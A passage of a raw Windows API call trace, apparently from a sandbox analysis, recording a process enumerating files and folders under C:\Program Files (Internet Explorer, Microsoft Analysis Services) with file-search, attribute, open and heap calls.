ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieinstal.exe.mui", cAlternateFileName="")) returned 1 [0067.674] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ielowutil.exe.mui", cAlternateFileName="")) returned 1 [0067.674] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe647cb96, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xe647cb96, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xe45e4000, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="iexplore.exe.mui", cAlternateFileName="")) returned 1 [0067.674] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdbgui.dll.mui", cAlternateFileName="")) returned 1 [0067.674] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdebuggeride.dll.mui", cAlternateFileName="")) returned 1 [0067.674] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSProfilerCore.dll.mui", cAlternateFileName="")) returned 1 [0067.674] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsprofilerui.dll.mui", cAlternateFileName="")) returned 1 [0067.674] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsprofilerui.dll.mui", cAlternateFileName="")) returned 0 [0067.675] GetLastError () returned 0x12 [0067.675] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0067.675] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0067.675] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0067.675] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.675] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x340db900, ftCreationTime.dwHighDateTime=0x1d55b55, ftLastAccessTime.dwLowDateTime=0x926d0f80, ftLastAccessTime.dwHighDateTime=0x1d5bd72, ftLastWriteTime.dwLowDateTime=0x926d0f80, ftLastWriteTime.dwHighDateTime=0x1d5bd72, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="filezilla.exe", cAlternateFileName="")) returned 1 [0067.675] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f55643f, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x5f55643f, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x23ff2d20, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xce00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmmapi.dll", cAlternateFileName="")) returned 1 [0067.676] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9a30bbb, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0xb9a30bbb, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0xb9a30bbb, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xa59, dwReserved0=0x0, dwReserved1=0x0, cFileName="ie8props.propdesc", cAlternateFileName="")) returned 1 [0067.676] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa37b6f98, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa37b6f98, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa37b6f98, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="iecompat.dll", cAlternateFileName="")) returned 1 [0067.676] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa37b6f98, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa37b6f98, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa37dd0f9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf7600, dwReserved0=0x0, dwReserved1=0x0, cFileName="iedvtool.dll", cAlternateFileName="")) returned 1 [0067.676] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa357baf4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa357baf4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa357baf4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x41e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieinstal.exe", cAlternateFileName="")) returned 1 [0067.676] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdecd4578, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xdecd4578, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe3cb04e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ielowutil.exe", cAlternateFileName="")) returned 1 [0067.676] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3803259, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa3803259, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa3803259, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6e200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieproxy.dll", cAlternateFileName="")) returned 1 [0067.676] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa357baf4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa357baf4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa357baf4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x47a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEShims.dll", cAlternateFileName="")) returned 1 [0067.676] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa387567a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa387567a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa387567a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa9b10, dwReserved0=0x0, dwReserved1=0x0, cFileName="iexplore.exe", cAlternateFileName="")) returned 1 [0067.676] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3686496, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa3686496, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa36ac5f7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdbgui.dll", cAlternateFileName="")) returned 1 [0067.676] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe54abd0a, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xe54abd0a, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x2b495380, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x23600, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdebuggeride.dll", cAlternateFileName="")) returned 1 [0067.676] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe41a0e8a, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xe41a0e8a, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x2b4b9d70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x20400, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSProfilerCore.dll", cAlternateFileName="")) returned 1 [0067.676] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa36ac5f7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa36ac5f7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa36ac5f7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x46400, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsprofilerui.dll", cAlternateFileName="")) returned 1 [0067.676] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x825d0f8, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0x825d0f8, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0x5909b005, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x579f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdbg2.dll", cAlternateFileName="")) returned 1 [0067.676] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x594eb7ab, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0x594eb7ab, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0x439e9300, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x83200, dwReserved0=0x0, dwReserved1=0x0, cFileName="pdm.dll", cAlternateFileName="")) returned 1 [0067.676] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98d1a336, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98d1a336, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGNUP", cAlternateFileName="")) returned 1 [0067.676] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.676] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP" (normalized: "c:\\program files\\internet explorer\\signup"), fInfoLevelId=0x0, lpFileInformation=0x174f3c0 | out: lpFileInformation=0x174f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98d1a336, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98d1a336, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0067.676] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP" (normalized: "c:\\program files\\internet explorer\\signup"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0067.676] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0067.676] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfd5460 [0067.677] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfd5460, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0xfd5460, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0067.677] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5460) returned 1 [0067.677] NtClose (Handle=0x194) returned 0x0 [0067.677] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.677] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c518 [0067.677] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0067.677] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0067.677] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d220 [0067.677] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98d1a336, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98d1a336, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.677] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80471418, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf22307c6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf22307c6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 1 [0067.677] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0067.677] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0067.677] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0067.677] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0067.677] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0067.677] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfd05f0 [0067.677] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5478 [0067.677] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0067.677] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80471418, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf22307c6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf22307c6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 0 [0067.677] GetLastError () returned 0x12 [0067.677] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d1a0 [0067.678] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0067.678] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98d1a336, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98d1a336, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.678] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80471418, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf22307c6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf22307c6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 1 [0067.678] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80471418, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf22307c6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf22307c6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 0 [0067.678] GetLastError () returned 0x12 [0067.678] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0067.678] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0067.678] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0067.678] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0067.678] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x855fc7e1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x855fc7e1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x85622942, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0067.678] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x855fc7e1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x855fc7e1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x85622942, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 0 [0067.678] GetLastError () returned 0x12 [0067.678] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0067.678] FindClose (in: hFindFile=0x60d0a0 | out: hFindFile=0x60d0a0) returned 1 [0067.678] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f2e0) returned 1 [0067.678] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0067.678] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x9f93ae30, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f93ae30, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Analysis Services", cAlternateFileName="")) returned 1 [0067.678] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0067.678] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services" (normalized: "c:\\program files\\microsoft analysis services"), fInfoLevelId=0x0, lpFileInformation=0x174f678 | out: lpFileInformation=0x174f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x9f93ae30, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f93ae30, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0067.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services" (normalized: "c:\\program files\\microsoft analysis services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0067.679] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x174f6bc, lpLastWriteTime=0x174f6bc) returned 0 [0067.679] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfd7460 [0067.679] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfd7460, nOutBufferSize=0x4000, lpBytesReturned=0x174f714, lpOverlapped=0x0 | out: lpOutBuffer=0xfd7460, lpBytesReturned=0x174f714, lpOverlapped=0x0) returned 0 [0067.679] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd7460) returned 1 [0067.679] NtClose (Handle=0x17c) returned 0x0 [0067.679] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0067.679] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0067.679] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f2e0 [0067.679] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0067.679] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60d0a0 [0067.679] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x9f93ae30, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f93ae30, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.679] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, 